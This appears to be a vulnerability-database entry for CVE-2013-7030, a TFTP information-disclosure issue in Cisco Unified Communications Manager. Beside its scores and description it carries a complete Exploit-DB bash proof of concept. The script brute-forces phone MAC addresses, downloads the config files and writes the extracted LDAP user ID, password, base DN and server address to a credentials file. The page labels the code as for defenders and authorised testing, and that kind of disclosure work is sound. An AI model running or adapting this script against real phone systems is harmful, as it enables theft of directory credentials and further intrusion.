CVE-2013-7030

high
Published 2013-12-12 ยท Modified 2026-04-29
CVSS v3
7.3
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.3

Description

The TFTP service in Cisco Unified Communications Manager (aka CUCM or Unified CM) allows remote attackers to obtain sensitive information from a phone via an RRQ operation, as demonstrated by discovering a cleartext UseUserCredential field in an SPDefault.cnf.xml file. NOTE: the vendor reportedly disputes the significance of this report, stating that this is an expected default behavior, and that the product's documentation describes use of the TFTP Encrypted Config option in addressing this issue

Predictions

Exploit likelihood
72%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-30237 local hardware verified bash ยท 2 KB
daniel svartman ยท 2013-12-12

Cisco Unified Communications Manager - TFTP Service

bash exploit Source: Exploit-DB
#!/bin/bash
#######################################################################
# Proof of Concept on how to get tftp config files from cisco phones  #
# This can be performed anonymously and privileges gathered relies on #
# those assigned to the ldap account                                  #
# Developed by Daniel Svartman  (danielsvartman@gmail.com             #
# In case tftp files are encrypted, you will need to hijack a phone   #
# and download the decryption key from the ROM memory                 #
#######################################################################                               

# This example below is for enumerating and downloading configuration files from phones
# With this you can gather personal information and sometimes also credentials from LDAP
# The first 8 digits of the MAC address relies on cisco mac address used by phones
# While the last 4 are generated automatically

BASE_MAC=$1
TFTP_SERVER=$2

perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt

#Now we should download the files
while read LINE; do
	tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml
done < mac.txt

#Finally, we download and process also the SPDefault.cnf.xml file
tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
USERID=`grep "UseUserCredential"  SPDefault.cnf.xml | cut -d ">" -f 6 | cut -d "<" -f 1`
echo "USERID: " $USERID > credentials.txt
PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 8 | cut -d "<" -f 1`
echo "PWD: " $PWD >> credentials.txt
BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 10 | cut -d "<" -f 1`
echo "BASE_DN: " $BASE_DN >> credentials.txt
while read LINE; do	
			if [ "$LINE" = "<ProductType>Directory" ]; then
				read LINE
				ADDRESS=`echo $LINE | cut -d ">" -f 2 | cut -d "<" -f 1`
				echo "LDAP_IP_ADDRESS: " $ADDRESS >> credentials.txt
			fi
done < SPDefault.cnf.xml

echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"

Application impact

VendorProductVersionsFixed
cisco ciscounified_communications_manager

References

CWEs

CWE-310

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.